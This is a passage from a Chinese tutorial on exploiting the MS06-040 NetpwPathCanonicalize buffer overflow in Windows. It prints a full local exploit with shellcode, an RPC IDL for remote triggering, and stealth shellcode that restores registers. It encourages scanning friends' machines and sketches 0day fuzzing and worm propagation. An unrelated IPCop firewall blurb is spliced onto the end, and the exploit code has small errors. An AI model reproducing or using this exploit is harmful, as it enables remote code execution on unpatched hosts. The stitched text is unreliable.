ecx的指令地址,跳两次之后,EIP会奔到暂存串的起址!这个方法虽然没有通用性,但在本例中却无疑是最最稳定,最最保险的做法。可见,在实战过程中具体问题具体分析是很重要的。 好,现在稍微整理一下思路:函数返回时ecx指向栈中暂存串地址,这个暂存串的形式是:4号串 + ‘\’ + 1号串。我们在1号串中放shellcode,在4号串尾部淹没返回地址,填写一个jmp ecx的地址,那么…… 综上,我们采用方案C的做法来exploit! 开始之前回答下这节开头提出的问题,shellcode为什么要开那么大的栈空间呢?因为我们的exploit方案是把EIP引到栈区执行shellcode。函数返回后shellcode刚好被放在栈顶之上一点点的地方,这部分内存空间在系统看来内容已经没有用,是可以随便写的。所以一旦遇到函数调用,栈顶就会向上浮动,把我们放shellcode的地方当数据区涂鸦似的胡改一通,破坏到我们的指令。所以我干脆提前把栈顶升起来,用栈把shellcode保护起来,这下我们的shellcode无论如何都不会被破坏到了。 在来看看实际中我们exploit的细节,栈中的情况是这样的: Ebp-0x414 0xFC字节的4号串,内容为前后都被nop包围的shellcode 0x2字节的程序连上的unicode字符‘\’ 0x316字节的1号串,内容为 0x90 Ebp 0x4字节的0x90,对应为1号串的0x317~0x31A字节 Eip 0x751852F9,从netapi32.dll里一条call ecx指令的地址 至于eip覆盖值call ecx的地址0x751852F9的获得,你可以自己编程搜索内存,简单的做法就是用OLLYDBG的插件Ollyuni。 最终的exploit是这样的: ===================================================================== #include #include typedef void (*MYPROC)(LPTSTR); #define STACK_SPACE 0x31A char shellcode[]= “\x66\x81\xEC\x40\x04\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61” “\x69\x6C\x8B\xC4\x53\x50\x50\x53\xB8” “\xEA\x04\xD5\x77” // user32.dll “\xFF\xD0\x6A\x00\xB8” “\xDA\xCD\x81\x7C” //exit() “\xFF\xD0”; int main() { char arg_1[0x320]; char arg_2[0x440]; int arg_3=0x440; long arg_5=44; HINSTANCE LibHandle; MYPROC ProcAdd; char dllbuf[40] = “./netapi32.dll”; char Trigger[40] = “NetpwPathCanonicalize”; LibHandle = LoadLibrary(dllbuf); ProcAdd = (MYPROC) GetProcAddress(LibHandle, Trigger); memset(arg_1,0,sizeof(arg_1)); memset(arg_2,0,sizeof(arg_2)); memset(arg_4,0,sizeof(arg_4)); memset(arg_1,0x90,sizeof(arg_1)-4); memset(arg_4,0x90,sizeof(arg_4)-4);//string should be cut by 2 bytes 0 memcpy(arg_4+0x40,shellcode,0x28); arg_1[STACK_SPACE+0]=0xF9; arg_1[STACK_SPACE+1]=0x52; arg_1[STACK_SPACE+2]=0x18; arg_1[STACK_SPACE+3]=0x75; //eip (ProcAdd)(arg_1,arg_2,arg_3,arg_4,&arg_5,0); FreeLibrary(LibHandle); } 代码4: local_exploit_040.c

本地溢出成功 编译运行,哈哈,享受溢出成功的喜悦吧,记住框框弹出来时的心动吧,这是我们钻研技术的源动力! 2 深入篇 ——莫在浮沙筑高台 安全技术和逆向技术从来就是密不可分的,不论对CRACK还是HACK这都好比练习上乘武功前的马步。就像高手行侠仗义的威风之后隐藏着练马步的枯燥乏味,所有漂亮的exploits背后都隐藏着无数个对着寄存器发呆的不眠之夜,没有经过这般磨练就好像浮沙中的高台,不能久远。 2.1 初识,RPC的玄机 本地溢出是用来自己学习技术和原理的,真正有效的攻击是网络上的远程溢出。大家都知道MS06-040之所以这么出名就是因为这是一个可以被RPC调用远程触发的漏洞。 目前网上流行的远程溢出代码我收集到三个版本,你可以在附录资料中找到这些代码。 如果你精通网络协议,你可以自己构造数据包像附录中的exploit那样在底层模拟RPC会话进行溢出,但我还没到Matrix中operator的那种境界,看着一堆二进制串就知道Nero在里边被人菜。我们在本章后续实验中将采用Microsoft的标准RPC调用方式来触发这个漏洞。 RPC即Remote Procedure Call,是分布式计算中经常用到的技术。用MSDN里的话来讲,两台计算机通讯过程也就两种形式:一种是数据的交换,另一种是进程间的通讯。RPC就是后者。简单说来,RPC就是让你在自己的程序中CALL一个函数(可能需要很大的计算量),而这个函数是在另外一个或多个远程机器上执行,执行完后将结果传回你的机器进行后续操作。调用过程中的网络操作对程序员来说是透明的,你在代码里CALL这个远程函数就跟CALL本地的一个printf()一样方便,只要把接口定义好,RPC体系将替你完成网络上链接建立、会话握手、用户验证、参数传递、结果返回等细节问题,让程序员更加关注于程序算法与逻辑,而不是网络细节。 我们要做的是最简单的客户端RPC调用,定义好我们要调用的函数的接口文件,然后调一下目标主机的NetpwPathCanonicalize()函数,按照我们本地溢出的那样传进去精心构造的包含shellcode的字符串,那么远程主机在执行这个函数的时候就会溢出,就会执行我们的shellcode!

RPC客户端开发流程(引自MSDN) 如图7,首先应当定义远程进程的接口IDL文件。IDL就是Interface Description Language,是专门用来定义接口的语言,有过COM编程的朋友对这个东东肯定不会陌生。在这个文件里我们要指定RPC的interface以及这个interface下的function信息,包括函数的声明,参数等等。另外微软的IDL叫做MIDL,是兼容IDL标准的。 定义好的IDL文件接口经过微软的MIDL编译器编译后会生成三个文件,一个客户端stub(中文好像是翻成插桩么码桩啥的),一个服务端stub,还有一个RPC调用的头文件。其中stub负责RPC调用过程中所有的网络操作细节。 将生成的RPC头文件包含到你的代码里,把stub文件添加到工程里和你的代码一起link后,就可以call到远程机器上你指定的函数了。 具体的,我们的IDL文件大概是这样的: ======================================================================== [ uuid(“4b324fc8-1670-01d3-1278-5a47bf6ee188”), version(3.0), endpoint(“ncacn_np:[\\pipe\\browser]“) ] interface browser { …… long NetpwPathCanonicalize ( [in] [unique] [string] wchar_t * arg_00, [in] [string] wchar_t * arg_01, [out] [size_is(arg_03)] char * arg_02, [in] [range(0, 64000)] long arg_03, [in] [string] wchar_t * arg_04, [in,out] long * arg_05, [in] long arg_06 ); …… } 代码5: IDL代码片断,完整代码见rpc_exploit_040.idl IDL的第一个部分是定义接口用的头,需要指明UUID和endpoint。简单说来,UUID用来唯一的指明一个接口,我们想调用的NetpwPathCanonicalize()函数在srvsvc这个interface中。这些接口的技术资料是比较少的,我是参考了samba上面windows网络编程技术资料才查到的。如果你要编写网络程序的话,你可能要经常去http://www.samba.org上查相关的接口信息。我在samba的ftp上( http://samba.org/ftp/unpacked/samba4/source/librpc/idl/srvsvc.idl )下载了接口定义文件srvsvc.idl,里边定义了从srvsvc下的所有可以调用的函数信息。除此以外,我还整理了一些其他的RPC接口资料一并放在了附加资料中,您可以尽情享用。 值得一提的是,RPC体系在向远程接口映射具体的函数时,是按照IDL里函数定义的顺序来定位的,而不是函数的名称!看附件里的rpc_exploit_040.idl你会发现在实际用到的函数定义前,我胡乱的定义了0x1e个函数,没什么别的意思,就是为了保证我们的函数在第0x1f个。 除了IDL我还用了一个ACF文件来指定一个句柄。您可以用MIDL编译器编译这两个接口定义文件rpc_exploit_040.acf和rpc_exploit_040.idl。这个编译器被包括在VC6.0的组件里,在命令行下使用,设置好正确的路径后输入命令: midl /acf rpc_exploit_040.acf rpc_exploit_040.idl 编译成功后,会在当前路径生成三个文件: rpc_exploit_040_s.c RPC服务端stub(桩) rpc_exploit_040_c.c RPC客户端stub(桩) rpc_exploit_040.h RPC头文件 把两个stub添加进工程,头文件include上,和调用远程函数的程序一起link,你就可以试着去调用远程主机的NetpwPathCanonicalize()函数了。你可以参照下附录中的rpc_exploit_040.c代码,体会一下远程调用的感觉。 最后需要注意的是我们IDL里定义的NetpwPathCanonicalize()函数比我们在上一章本地溢出实验中使用的函数多出了一个参数arg_00。这个参数是RPC加上去的,实际上并不会传递给netapi32.dll里的NetpwPathCanonicalize()函数,在使用时别让它指向空就行了,并不影响我们的实验。 2.2 Hacking,远程攻击 看完上一节的网络编程,相信你已经迫不及待的要把我们的shellcode送到远程机器上去试一下看看能不能出个MessageBoxA了。但是首先得有一个被攻击的主机。其实我的靶机已经patch过补丁了,无奈我拆了硬盘挂在别的机器上,用备份里有漏洞的netapi32.dll替换了system32里和system32\dllcache目录下的有补丁的DLL,算是拥有了一个能够进行调试的环境。 略微修改一下上一章本地溢出中的代码,改成RPC的调用,结果靶机并没有按照我们预想的那样蹦个框框出来,而是直接系统崩溃重启了!

远程shellcode执行出错

想想怎么回事?看看提示,是services.exe出现的异常。给靶机武装上VC6.0和OLLYDBG,用OLLYDBG直接attach到service进程上,ctr+g到NetpwPathCanonicalize()的入口,按F2下个断点,这样就可以在远程机上调试了。 跟踪进去不难发现,问题出在shellcode里调用的那两个函数的地址上,我这里调试用的是XP SP2,靶机是WIN2000 SP4,不管是user32.dll还是kernel.dll都差了老远,所以要重新计算函数地址,比如在我的实验环境中: 函数名 基址(2000) 偏移量(2000) RVA(2000) RVA(XP) Beep 0x7C570000 0x0000D4E1 0x7C57D4E1 0x7C837A77 MessageBoxA 0x77E10000 0x00003D81 0x77E13D81 0x77D504EA ExitProcess 0x7C570000 0x000269DA 0x7C5969DA 0x7C81CDDA 在shellcode中的相应位置修改一下函数地址,赶快往外发吧!我当时在VC里点感叹号运行的时候就像星矢对波士顿射黄金箭的心情一样充满了善良美好的期望,背负了维护世界和平的重任,为了自由为了亲人为了朋友为了爱而让它运行。 结果很不幸,靶机并没有弹出我们希望的BOX,但是也没有像前面攻击失败那样搞的系统崩溃而重启。如果你有声卡连着音响的话,你应该能听到一声MessageBox弹出时那熟悉的“咚”的一声;如果没有声卡的话主板也会“嘀”一下的。用OLLYDBG跟踪调试一下,发现程序如我们设计的那样在函数返回时执行了call ecx,然后顺着shellcode执行,但到了call MessageBoxA的时候,无法返回,程序挂起了。我跟踪进MessageBoxA这个调用到最底层,大概是在获得最顶端窗口句柄的时候出的问题。不停的发溢出攻击,在靶机的任务管理器里看service.exe这个进程会不停的增加内存使用,同时也不停的“咚咚”或者“嘀嘀”。 这是为什么呢? 我觉得这个现象可以这样解释:由于我们溢出的进程service.exe是一个服务,服务是不和用户界面打交道的,在用户登录操作系统之前就已经开始在后台运行了,虽然它也加载user32.dll,但是在真正涉及到UI的时候,它甚至无法知道要把这个框框pop到哪个用户的桌面上。所以说这里我们实际上已经攻击成功了,MessageBox是踏踏实实的弹出来了,那一下“咚”或者“嘀”可以作证,系统没有崩溃可以作证。OLLYDBG调试时程序挂起应该是框框弹出来,等待鼠标点击“确定”按钮的消息,以便退出函数调用,而这个框框又不知道弹到哪里去了,显示不在桌面上,所以我们没办法点按钮,也就自然退不出函数调用了,这也解释了service.exe很有规律的不断增加内存使用的现象。 综上,结合RPC调用编程和本地溢出实验中的技术,我们已经可以让远程目标机执行任意的代码了(虽然只听到响声没看到框框)。 2.3 踏雪无痕,寄存器状态的恢复 如果你是一个真正的hacker,那么对你来说最重要的是悄无声息的控制而不是舞刀弄枪的破坏。回想一下我们的shellcode在退出时调用了exit(),如果系统服务进程service.exe 退出了会对操作系统产生什么影响?上一节中之所以系统没有崩溃是因为程序停在了MessageBoxA的调用上,等待我们去点击“确定”按钮,要是真的点上了系统不崩才怪呢。 相信能够把实验做到现在这个程度的你一定不会甘心于一个毛手毛脚的无法正常退出的攻击,这就好比做贼做的像《疯狂的石头》里那个拿榔头抢面包的哥们儿一样不够专业。专业的入侵应当“随风潜入夜,润物细无声”。下面我们就来说说怎样在溢出结束后恢复到原进程的正常执行,让shellcode做到踏雪无痕! 函数返回是通过ret时三个重要的寄存器EBP,EIP,ESP的内容来实现的,只要在shellcode结束时恢复这三个寄存器的内容,就可以让函数正常返回 看一下溢出时这几个寄存器的情况: EBP 指向前一个调用的栈底,溢出时被我们破坏 EIP 指向函数调用的下一条指令的地址,被我们替换成call ecx的地址 ESP 指向前一个调用的栈顶,在本实验的exploit中并没有被破坏 函数调用的下一条指令地址我们可以在OLLYDBG中看到是0x7517F85B。这是DLL中代码段中的死地址,可以让shellcode的最后一条指令直接jmp过去。 EBP的恢复稍微复杂一点。虽然栈顶和栈底的地址是动态的,每次调用都不一样,但是前一个函数开的栈空间大小是一定的,这取决于函数内部变量的大小。也就是说虽然EBP和ESP的内容每次调用都不一样,但是EBP和ESP的差值在每次调用时是肯定一样的,而ESP在这里并没有被破坏掉,我们就可以通过ESP的值和栈空间的大小计算出EBP的值,并在shellcode退出前恢复这个值。 分析完了,用OLLYDBG调试几遍,看清出EBP和ESP之间的关系,就可以修改一下shellcode了。 由于调用图形函数会出问题,所以这里在shellcode里我们换一个函数调用,就是Beep()函数。这是kernel32.dll里的一个函数,它利用主板上的压电陶瓷片发声的函数,也就是说不管你有没有声卡和喇叭,它都会用机箱“嘀”的响一声的,熟悉DOS的朋友对这个函数不会陌生,那个年代声卡、音响这些东西对计算机来说还是很遥远的。这个函数有两个参数,一个指定发声的频率,一个指定发声持续的时间。如果你没用过,看下MSDN,别把频率设置到人耳朵听不到的地方去了。 最后我写出的用来让远程主机“嘀”一下并且可以正常返回的shellcode是这样的: ======================================================================= #include int main() { _asm{ mov ebp,esp add bp,0x10 //recover ebp pop ecx push ebp mov ebp ,esp sub sp ,0x444 push eax xor eax,eax mov Ax , 0x444 push eax xor eax,eax mov Ax, 0x444 push eax mov eax,0x7C837A77 call eax //call beep pop eax add sp,0x444 pop ebp mov ecx ,0x7517F85B jmp ecx } } 代码6: shellcode_beep.c 同样要注意函数地址与平台的关系。编译后提出shellcode放进前边的exploit里,剩下的就是欣赏远程的主机被我们“嘀”了! 在附件中我还给出了我找到的两个分别由EEYE和启明星辰出品的MS06-040扫描器,你可以试着找下周围有没有朋友有这个漏洞,然后就可以用我们的实验程序“嘀”他了。你也可以改一下“嘀”的音调或者“嘀”的时间,甚至根据半音之间的指数倍关系让你朋友的机器“嘀”出一首歌来,秀一下我们的研究成果,末了不要忘了善意的提示他打补丁。 到这里,本文全部的7节实验内容就全部结束了,能够实际动手一步一步跟我玩到现在的朋友一定体会到了开头的那句话的含义了吧。 To be the apostrophe which changed “Impossible” into “I’m possible” 如果你有足够的毅力和踏实的技术,在window里很多Impossible都会变成I’m possible,而这两者间往往就差那么巧妙的一撇!这一撇的巧妙正是我喜爱这种技术的根本。 3 展望篇 ——山高月小,水落石出 大道不过二三四。然而在我看来,唯有跟进内存,盯着寄存器,被莫名其妙的问题反复郁闷之后最终成功的人,才有资格谈论“道”。下面就让我们拨开云雾去看看山高月小和水落石出的美景吧。 3.1 魔波,蠕虫现身! 不管是让远程的机器“嘀”一下,还是绑定command作为后门,或者磁盘格式化,这些在编程技术上是没有本质区别的。可能犇犇们的技术到了一定层次会有种高处不胜寒的寂寞感吧,就有人会写点东西让自己的程序利用漏洞在网络间自己复制传播,这就是蠕虫。 由于在XP SP2上MS06-040是不能被成功利用的,主要受害机器集中在WIN2000和XP低版本操作系统,所以受害机群较少。另外RPC调用需要使用139和445端口,这两个端口早在冲击波年代就被各大网关路由全面封杀过了,所以从网络角度讲,这次计算机风险还不致于引起拥塞瘫痪。 但是我个人认为,这次计算机风险还没有完全过去。因为蠕虫爆发时正值学校放假,可能当时影响并不大。现在高校开学,大量校园网用户无法出国更新补丁,所以仍应当提高警惕。 魔波的逆向分析我不想在这里占用篇幅了,本着学习研究提高技术的目的,我把魔波的shellcode部分放在了附件中,至于完整的代码和可执行的PE样本么,请原谅这里不方便公布,因为万一几个热血的朋友用这些资料搞出几个蠕虫变种来我可担当不起这个责任。 魔波的主要行为是开后门,把目标机变成能够被远控的“僵尸”机。这和冲击波那种纯粹以传播为目的的蠕虫小有不同。恰巧课题组有两位博士在做这方面研究,就大嘴巴替他们多说两句了。 目前蠕虫研究的主要思路是从网络行为上提取特征进行预警和控制。简单说,就是蠕虫在传播时会探测性的发出大量的扫描数据包,这会造成特定的数据包在网络中指数级的迅速增长,大量占用网络带宽。研究者通过实时监控网络情况,从网络流量中提取诸如协议种类、协议比重、流、时序等特征来进行检测。当发现蠕虫爆发时,可以根据蠕虫的传播形式建立数学模型进行预测和控制。一般在分析网络行为时会用到大量《随机过程》和《数理统计学》中的知识,比如用“隐马尔可夫链”来处理时间序列上的随机数据最近在这个领域应用的就挺火。在控制预测中一般会用“传染病”预测模型建立一套方程组给出预测和控制。如果你有兴趣,IEEE、ACM上可以找到很多paper,你不妨用EI或者SCI搜几个来看看。不过这类文章就是所谓的讲“道”的文章了,里边全是偏微分方程,基本上是见不到寄存器状态的。 另外一个比较新兴的研究领域就是在IPV6下研究蠕虫传播。从技术上讲,似乎和我们的实验还是没有质的区别,无非在shellcode中把Beep()调用换成IPV6的网络操作而已;从学术角度讲,似乎也没有大的区别,还是传染病预测理论么。其实不然:IPV4和IPV6一个重要的区别是地址空间的增加,在稀疏的地址空间里如果还像传统蠕虫那样随机扫描目标主机来感染的话,那么建立数学模型预测一下会发现,两种协议下被感染主机数量的曲线形状几乎是一样的,都是类指数曲线,但时间轴坐标会完全不同,感染进度在IPV4下是按秒和分钟来计算的,而IPV6下是XXXX年! 当然,理论上预测出的传播困难在我看来也是可以促进hack技术的进步的。下一代在IPV6蠕虫在传播技术上必需有新的创意,发现目标主机将是一个难点。随机扫描是不可取的,可以尝试别的技术和利用别的层次的协议,比如利用DNS和ARP上的主机信息去传播。 当IPV6蠕虫真的出现的时候,传播模型当然也会有很大变化,又可以涌现出许多新的学术研究成果了,真的是在攻防中共同进步啊。 这方面的资料可以参看课题组的博士刚刚在计算机学报8月安专刊上发表的文章《IPv6网络中蠕虫传播模型及分析》,他们是这方面的专家。 3.2 补丁,无洞可钻? 享受了溢出的快感之后,难道你不想看看微软补丁里究竟修改了什么吗?我在附件中给出了补丁前后的不同版本的netapi32.dll。用IDA看一下,在做长度检查时,已经由补丁前的限制0x411改成了补丁后的0x208。XP SP2的补丁前后的DLL我也给出,你们不妨也去看看有哪些变动。MS06-040中除了NetpwPathCanonicalize()还有其它问题,这里不再讨论,有兴趣的可以参考0x557上面的分析。 有钻洞的能力还要有洞可钻才行,否则补丁过后虫虫不是没有活路了。这里我想谈谈怎么挖掘0day。 0day是指能被成功利用,而微软官方并不知道或知道并未公布的漏洞。掌握一个0day,你就几乎可以所向披靡的随意hack全天下机器了。我们讨论的MS06-040在发布前无疑是一个被犇犇们玩弄于股掌之间的0day。不管是对hacker,对微软,对军方,对安全公司,0day都有很重要的意义。能够利用漏洞只是懂了一点技术的大鸟,能够发现0day的才是真正的犇犇。 其实在我们实验的基础上,把RPC溢出的代码略加改动,丰富一下IDL中的接口和函数的定义,你就可以拥有自己的RPC函数的漏洞发掘工具了。远程函数如果需要int的就给送long型,指针的就试点NULL之类的,字串的就用超长的往里塞,总之就是把所有可能引起错误的因素组合一下,一个一个的送进函数看反应。你可以编程把RPC能够CALL到的远程函数一个一个的测过去,如果发现崩溃的就用我们前面的调试方法跟进去看看崩溃的原因,结合栈和寄存器的状态确认下能不能利用,运气好了就会撞到0day啦。 从今年的《XCon 安全焦点信息安全技术峰会》上回来,有不少感慨。14位演讲者中涉及漏洞挖掘方法的就有四位。Funnyway和CoolQ在代码审计上的尝试让人看到了hacker的勇气,而Dave现场演示的RPC漏洞fuzz则直接关注于技术本身,最后来自微软的Adrian发表的对0day的看法,则强烈的激励着有志之士投身这个领域。下面就结合我个人的研究,谈谈我对这个领域的了解和看法。 其实上面谈的测试0day的方法就是工业界目前普遍采用的fuzz方法。Fuzz实际上就是软件工程中的黑箱测试。你可以对协议,对API,对软件进行这样的fuzz测试。fuzz方法的优点是没有误报,尽管可能有些运行错误并不能被成功利用;缺点是你无法穷举所有的输入,就算fuzz不出问题也无法证明一个系统是安全的。 学术界则偏向于用算法直接在程序的逻辑上寻找漏洞。这方面的方法和理论有很多,比如数据流分析,类型验证系统,边界检验系统,状态机系统等。这种方法的优点是可以搜索到程序流程中的所有路径,但缺点是非常容易误报。 半年前我曾经研究过一段时间代码级的漏洞挖掘,用的方法大概也是上面列出的这些静态分析技术,并且实现了一个分析PHP脚本中SQL注入漏洞的挖掘工具的demo版本。研究过后深深觉得代码的静态分析理论要想在工业上运用还有很长的路要走,突出的问题在于大量的误报。个人认为,所有这方面理论都面临同样一个棘手的问题:就是在处理程序逻辑中由动态因素引起的复杂的条件分支和循环时,静态分析的天然缺陷。静态分析算法要想取得实质性的突破必须面对“彻底读懂”程序逻辑的挑战,这在形式语言上实际涉及到了上下文相关文法,而编译理论和状态机理论只发展到解释上下文无关文法的阶段。 如果代码静态分析技术真的在文法的解释上有所突破,那么从数学上证明一个软件没有缺陷将成为可能!这种进步不光是在漏洞挖掘上的进步,更重要的是计算机背后的形式语言和逻辑学的飞跃——这可能将是能和莱布尼兹、歌德尔、布尔、图灵、冯诺伊曼那一票逻辑大师的贡献相媲美的成就——乔姆斯基的文法体系出台后的这50多年里,虽然编译理论和技术蓬勃发展,但时至今日,计算机能“读懂”的语言始终局限于上下文无关文法。展望一下计算机能处理上下文相关文法甚至图灵机的那一天将会是一副什么样的美景吧:VC编译的时候不用运行就会告诉你哪里有死循环、哪里内存泄漏、哪里的指针在什么情况下会跑飞……编译器不只会检查语法问题,还会检查逻辑问题,软件工程中不论开发还是测试的压力都将大大减轻,整个计算机工业体系都将产生一次飞跃,当然我们的漏洞发掘工具也更智能——只是真的有那一天hacker们可能都要下岗了:)

IPCop Linux是一份完整的Linux发行,其主旨是保护它所在的网络。在观察了部分Linux发行的发展方向之后,有一部分用户及开发人员感到并不满意,他们认为,一份GPL的Linux防火墙产品应拥有其潜在的力量,而没有理由像眼下这般黯然失色。通过把现有的和创新的技术以及安全编程经验贯彻进来,IPCop成为了那些希望保护他们计算机/网络安全的用户的Linux发行。IPCop Linux小组致力于最好的工作,以尽可能维护你的系统安全,而这正如你可以在我们自己的网站上所看到的那样。我们的口号是“邪恶的网络包到此就止步了!”

我们的任务是:

提供一个稳定的Linux 防火墙发行版

提供一个安全的Linux 防火墙发行版

提供一个开源的Linux 防火墙发行版

提供一个高可配置型的Linux 防火墙发行版

提供一个易于维护的Linux 防火墙发行版

提供一个容易配置的Linux 防火墙发行版

为IPCop用户组提供非常好的支持服务

为IPCop的用户提供一个非常好的交流平台

使得IPCop Linux的升级、安全、稳定等问题非常容易实现

和我们的用户形成一个良好的关系基础

在我们的用户基础上形成良好的Linux、开源软件的感恩之心

使得IPCop能够在为了的网络环境中发挥更大的作用

提供一个开源的Linux 防火墙发行版

目前新版本已经升级到了1.4.11,相比较原先发布的1.4.11rc1。和往常一样,该版本可以全新安装,或者从原有的旧版本升级,现在的全新安装有了更多的选项,比如从USB key安装,或者通过远程PXE包安装。

他的安装过程和通用linux操作系统相差无几,并且更加精简。比如自动分区。 可以通过consoleSSHWEB来配置系统。尤其是CGI程序开发的WEB界面,强大易用。

0%